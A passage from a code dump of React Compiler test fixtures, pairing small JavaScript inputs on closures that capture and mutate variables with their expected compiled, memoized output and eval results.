    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  let z = {a};\n  let y = {b: {b}};\n  let x = function () {\n    z.a = 2;\n    mutate(y.b);\n  };\n  x();\n  return [y, z];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2, b: 3}],\n  sequentialRenders: [\n    {a: 2, b: 3},\n    {a: 2, b: 3},\n    {a: 4, b: 3},\n    {a: 4, b: 5},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-no-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({a, b}) {\n  let z = {a};\n  let y = {b};\n  let x = function () {\n    z.a = 2;\n    return Math.max(y.b, 0);\n  };\n  x();\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2, b: 3}],\n  sequentialRenders: [\n    {a: 2, b: 3},\n    {a: 2, b: 3},\n    {a: 4, b: 3},\n    {a: 4, b: 5},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(5);\n  const { a, b } = t0;\n  let z;\n  if ($[0] !== a || $[1] !== b) {\n    z = { a };\n    let t1;\n    if ($[3] !== b) {\n      t1 = { b };\n      $[3] = b;\n      $[4] = t1;\n    } else {\n      t1 = $[4];\n    }\n    const y = t1;\n    const x = function () {\n      z.a = 2;\n      return Math.max(y.b, 0);\n    };\n\n    x();\n    $[0] = a;\n    $[1] = b;\n    $[2] = z;\n  } else {\n    z = $[2];\n  }\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 2, b: 3 }],\n  sequentialRenders: [\n    { a: 2, b: 3 },\n    { a: 2, b: 3 },\n    { a: 4, b: 3 },\n    { a: 4, b: 5 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":2}\n{\"a\":2}\n{\"a\":2}\n{\"a\":2}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-no-mutate.js",
    "content": "function Component({a, b}) {\n  let z = {a};\n  let y = {b};\n  let x = function () {\n    z.a = 2;\n    return Math.max(y.b, 0);\n  };\n  x();\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2, b: 3}],\n  sequentialRenders: [\n    {a: 2, b: 3},\n    {a: 2, b: 3},\n    {a: 4, b: 3},\n    {a: 4, b: 5},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {mutate} = require('shared-runtime');\n\nfunction component(a) {\n  let x = {a};\n  let y = {};\n  (function () {\n    y = x;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { mutate } = require(\"shared-runtime\");\n\nfunction component(a) {\n  const $ = _c(2);\n  let y;\n  if ($[0] !== a) {\n    const x = { a };\n    y = {};\n\n    y = x;\n\n    mutate(y);\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"foo\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":\"foo\",\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias-iife.js",
    "content": "const {mutate} = require('shared-runtime');\n\nfunction component(a) {\n  let x = {a};\n  let y = {};\n  (function () {\n    y = x;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction Component({a}) {\n  let x = {a};\n  let y = {};\n  const f0 = function () {\n    y = x;\n  };\n  f0();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2}],\n  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  let y;\n  if ($[0] !== a) {\n    const x = { a };\n    y = {};\n    const f0 = function () {\n      y = x;\n    };\n\n    f0();\n    mutate(y);\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 2 }],\n  sequentialRenders: [{ a: 2 }, { a: 2 }, { a: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":2,\"wat0\":\"joe\"}\n{\"a\":2,\"wat0\":\"joe\"}\n{\"a\":3,\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-simple-alias.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction Component({a}) {\n  let x = {a};\n  let y = {};\n  const f0 = function () {\n    y = x;\n  };\n  f0();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2}],\n  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-1.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let z = {a};\n  let x = function () {\n    console.log(z);\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== a) {\n    const z = { a };\n    t0 = function () {\n      console.log(z);\n    };\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-1.js",
    "content": "function component(a) {\n  let z = {a};\n  let x = function () {\n    console.log(z);\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction bar(a) {\n  let x = [a];\n  let y = {};\n  (function () {\n    y = x[0][1];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [['val1', 'val2']],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction bar(a) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== a) {\n    t0 = [a];\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let y;\n  if ($[2] !== x[0][1]) {\n    y = {};\n\n    y = x[0][1];\n    $[2] = x[0][1];\n    $[3] = y;\n  } else {\n    y = $[3];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [[\"val1\", \"val2\"]],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) \"val2\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2-iife.js",
    "content": "function bar(a) {\n  let x = [a];\n  let y = {};\n  (function () {\n    y = x[0][1];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [['val1', 'val2']],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction bar(a) {\n  let x = [a];\n  let y = {};\n  const f0 = function () {\n    y = x[0][1];\n  };\n  f0();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [['val1', 'val2']],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction bar(a) {\n  const $ = _c(2);\n  let y;\n  if ($[0] !== a) {\n    const x = [a];\n    y = {};\n    const f0 = function () {\n      y = x[0][1];\n    };\n\n    f0();\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [[\"val1\", \"val2\"]],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) \"val2\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-2.js",
    "content": "function bar(a) {\n  let x = [a];\n  let y = {};\n  const f0 = function () {\n    y = x[0][1];\n  };\n  f0();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [['val1', 'val2']],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-3-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction bar(a, b) {\n  let x = [a, b];\n  let y = {};\n  let t = {};\n  (function () {\n    y = x[0][1];\n    t = x[1][0];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [\n    [1, 2],\n    [2, 3],\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction bar(a, b) {\n  const $ = _c(6);\n  let t0;\n  if ($[0] !== a || $[1] !== b) {\n    t0 = [a, b];\n    $[0] = a;\n    $[1] = b;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  const x = t0;\n  let y;\n  if ($[3] !== x[0][1] || $[4] !== x[1][0]) {\n    y = {};\n    let t = {};\n\n    y = x[0][1];\n    t = x[1][0];\n    $[3] = x[0][1];\n    $[4] = x[1][0];\n    $[5] = y;\n  } else {\n    y = $[5];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [\n    [1, 2],\n    [2, 3],\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) 2"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-3-iife.js",
    "content": "function bar(a, b) {\n  let x = [a, b];\n  let y = {};\n  let t = {};\n  (function () {\n    y = x[0][1];\n    t = x[1][0];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [\n    [1, 2],\n    [2, 3],\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-3.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction bar(a, b) {\n  let x = [a, b];\n  let y = {};\n  let t = {};\n  const f0 = function () {\n    y = x[0][1];\n    t = x[1][0];\n  };\n  f0();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [\n    [1, 2],\n    [2, 3],\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction bar(a, b) {\n  const $ = _c(3);\n  let y;\n  if ($[0] !== a || $[1] !== b) {\n    const x = [a, b];\n    y = {};\n    let t = {};\n    const f0 = function () {\n      y = x[0][1];\n      t = x[1][0];\n    };\n\n    f0();\n    $[0] = a;\n    $[1] = b;\n    $[2] = y;\n  } else {\n    y = $[2];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [\n    [1, 2],\n    [2, 3],\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) 2"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-3.js",
    "content": "function bar(a, b) {\n  let x = [a, b];\n  let y = {};\n  let t = {};\n  const f0 = function () {\n    y = x[0][1];\n    t = x[1][0];\n  };\n  f0();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [\n    [1, 2],\n    [2, 3],\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction bar(a) {\n  let x = [a];\n  let y = {};\n  (function () {\n    y = x[0].a[1];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [{a: ['val1', 'val2']}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction bar(a) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== a) {\n    t0 = [a];\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let y;\n  if ($[2] !== x[0].a[1]) {\n    y = {};\n\n    y = x[0].a[1];\n    $[2] = x[0].a[1];\n    $[3] = y;\n  } else {\n    y = $[3];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [{ a: [\"val1\", \"val2\"] }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) \"val2\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4-iife.js",
    "content": "function bar(a) {\n  let x = [a];\n  let y = {};\n  (function () {\n    y = x[0].a[1];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [{a: ['val1', 'val2']}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction bar(a) {\n  let x = [a];\n  let y = {};\n  const f0 = function () {\n    y = x[0].a[1];\n  };\n  f0();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [{a: ['val1', 'val2']}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction bar(a) {\n  const $ = _c(2);\n  let y;\n  if ($[0] !== a) {\n    const x = [a];\n    y = {};\n    const f0 = function () {\n      y = x[0].a[1];\n    };\n\n    f0();\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [{ a: [\"val1\", \"val2\"] }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) \"val2\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-4.js",
    "content": "function bar(a) {\n  let x = [a];\n  let y = {};\n  const f0 = function () {\n    y = x[0].a[1];\n  };\n  f0();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [{a: ['val1', 'val2']}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction bar(a) {\n  let x = [a];\n  let y = {};\n  (function () {\n    y = x[0];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: ['TodoAdd'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction bar(a) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== a) {\n    t0 = [a];\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let y;\n  if ($[2] !== x[0]) {\n    y = {};\n\n    y = x[0];\n    $[2] = x[0];\n    $[3] = y;\n  } else {\n    y = $[3];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [\"TodoAdd\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"TodoAdd\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load-iife.js",
    "content": "function bar(a) {\n  let x = [a];\n  let y = {};\n  (function () {\n    y = x[0];\n  })();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: ['TodoAdd'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction bar(a) {\n  let x = [a];\n  let y = {};\n  const f0 = function () {\n    y = x[0];\n  };\n  f0();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction bar(a) {\n  const $ = _c(2);\n  let y;\n  if ($[0] !== a) {\n    const x = [a];\n    y = {};\n    const f0 = function () {\n      y = x[0];\n    };\n\n    f0();\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-alias-computed-load.js",
    "content": "function bar(a) {\n  let x = [a];\n  let y = {};\n  const f0 = function () {\n    y = x[0];\n  };\n  f0();\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: bar,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-capture-ref-before-rename.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  let z = {a};\n  (function () {\n    mutate(z);\n  })();\n  let y = z;\n\n  {\n    // z is shadowed & renamed but the lambda is unaffected.\n    let z = {b};\n    y = {y, z};\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2, b: 3}],\n  sequentialRenders: [\n    {a: 2, b: 3},\n    {a: 2, b: 3},\n    {a: 2, b: 4},\n    {a: 3, b: 4},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(7);\n  const { a, b } = t0;\n  let z;\n  if ($[0] !== a) {\n    z = { a };\n\n    mutate(z);\n    $[0] = a;\n    $[1] = z;\n  } else {\n    z = $[1];\n  }\n\n  let y = z;\n  let t1;\n  if ($[2] !== b) {\n    t1 = { b };\n    $[2] = b;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const z_0 = t1;\n  let t2;\n  if ($[4] !== y || $[5] !== z_0) {\n    t2 = { y, z: z_0 };\n    $[4] = y;\n    $[5] = z_0;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  y = t2;\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 2, b: 3 }],\n  sequentialRenders: [\n    { a: 2, b: 3 },\n    { a: 2, b: 3 },\n    { a: 2, b: 4 },\n    { a: 3, b: 4 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"y\":{\"a\":2,\"wat0\":\"joe\"},\"z\":{\"b\":3}}\n{\"y\":{\"a\":2,\"wat0\":\"joe\"},\"z\":{\"b\":3}}\n{\"y\":{\"a\":2,\"wat0\":\"joe\"},\"z\":{\"b\":4}}\n{\"y\":{\"a\":3,\"wat0\":\"joe\"},\"z\":{\"b\":4}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-capture-ref-before-rename.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  let z = {a};\n  (function () {\n    mutate(z);\n  })();\n  let y = z;\n\n  {\n    // z is shadowed & renamed but the lambda is unaffected.\n    let z = {b};\n    y = {y, z};\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2, b: 3}],\n  sequentialRenders: [\n    {a: 2, b: 3},\n    {a: 2, b: 3},\n    {a: 2, b: 4},\n    {a: 3, b: 4},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-conditional-capture-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useHook(a, b) {\n  let z = {a};\n  let y = b;\n  let x = function () {\n    if (y) {\n      // we don't know for sure this mutates, so we should assume\n      // that there is no mutation so long as `x` isn't called\n      // during render\n      maybeMutate(z);\n    }\n  };\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useHook(a, b) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== a) {\n    t0 = { a };\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const z = t0;\n  const y = b;\n  let t1;\n  if ($[2] !== y || $[3] !== z) {\n    t1 = function () {\n      if (y) {\n        maybeMutate(z);\n      }\n    };\n    $[2] = y;\n    $[3] = z;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  const x = t1;\n\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-conditional-capture-mutate.js",
    "content": "function useHook(a, b) {\n  let z = {a};\n  let y = b;\n  let x = function () {\n    if (y) {\n      // we don't know for sure this mutates, so we should assume\n      // that there is no mutation so long as `x` isn't called\n      // during render\n      maybeMutate(z);\n    }\n  };\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-decl.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let t = {a};\n  function x() {\n    t.foo();\n  }\n  x(t);\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(2);\n  let t;\n  if ($[0] !== a) {\n    t = { a };\n    const x = function x() {\n      t.foo();\n    };\n\n    x(t);\n    $[0] = a;\n    $[1] = t;\n  } else {\n    t = $[1];\n  }\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-decl.js",
    "content": "function component(a) {\n  let t = {a};\n  function x() {\n    t.foo();\n  }\n  x(t);\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-arguments.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo(props) {\n  const onFoo = useCallback(\n    reason => {\n      log(props.router.location);\n    },\n    [props.router.location]\n  );\n\n  return onFoo;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.router.location) {\n    t0 = (reason) => {\n      log(props.router.location);\n    };\n    $[0] = props.router.location;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const onFoo = t0;\n\n  return onFoo;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-arguments.js",
    "content": "function Foo(props) {\n  const onFoo = useCallback(\n    reason => {\n      log(props.router.location);\n    },\n    [props.router.location]\n  );\n\n  return onFoo;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component({mutator}) {\n  const poke = () => {\n    mutator.poke();\n  };\n\n  const hide = () => {\n    mutator.user.hide();\n  };\n\n  return <Foo poke={poke} hide={hide}></Foo>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(t0) {\n  const $ = _c(7);\n  const { mutator } = t0;\n  let t1;\n  if ($[0] !== mutator) {\n    t1 = () => {\n      mutator.poke();\n    };\n    $[0] = mutator;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const poke = t1;\n  let t2;\n  if ($[2] !== mutator.user) {\n    t2 = () => {\n      mutator.user.hide();\n    };\n    $[2] = mutator.user;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const hide = t2;\n  let t3;\n  if ($[4] !== hide || $[5] !== poke) {\n    t3 = <Foo poke={poke} hide={hide} />;\n    $[4] = hide;\n    $[5] = poke;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-member-expr-call.js",
    "content": "function component({mutator}) {\n  const poke = () => {\n    mutator.poke();\n  };\n\n  const hide = () => {\n    mutator.user.hide();\n  };\n\n  return <Foo poke={poke} hide={hide}></Foo>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-renamed-ref.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction useHook({a, b}) {\n  let z = {a};\n  {\n    let z = {b};\n    (function () {\n      mutate(z);\n    })();\n  }\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{a: 2, b: 3}],\n  sequentialRenders: [\n    {a: 2, b: 3},\n    {a: 2, b: 3},\n    {a: 2, b: 4},\n    {a: 3, b: 4},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction useHook(t0) {\n  const $ = _c(2);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = { a };\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const z = t1;\n\n  const z_0 = { b };\n\n  mutate(z_0);\n\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{ a: 2, b: 3 }],\n  sequentialRenders: [\n    { a: 2, b: 3 },\n    { a: 2, b: 3 },\n    { a: 2, b: 4 },\n    { a: 3, b: 4 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":2}\n{\"a\":2}\n{\"a\":2}\n{\"a\":3}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-renamed-ref.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction useHook({a, b}) {\n  let z = {a};\n  {\n    let z = {b};\n    (function () {\n      mutate(z);\n    })();\n  }\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{a: 2, b: 3}],\n  sequentialRenders: [\n    {a: 2, b: 3},\n    {a: 2, b: 3},\n    {a: 2, b: 4},\n    {a: 3, b: 4},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-function-runs-inference.expect.md",
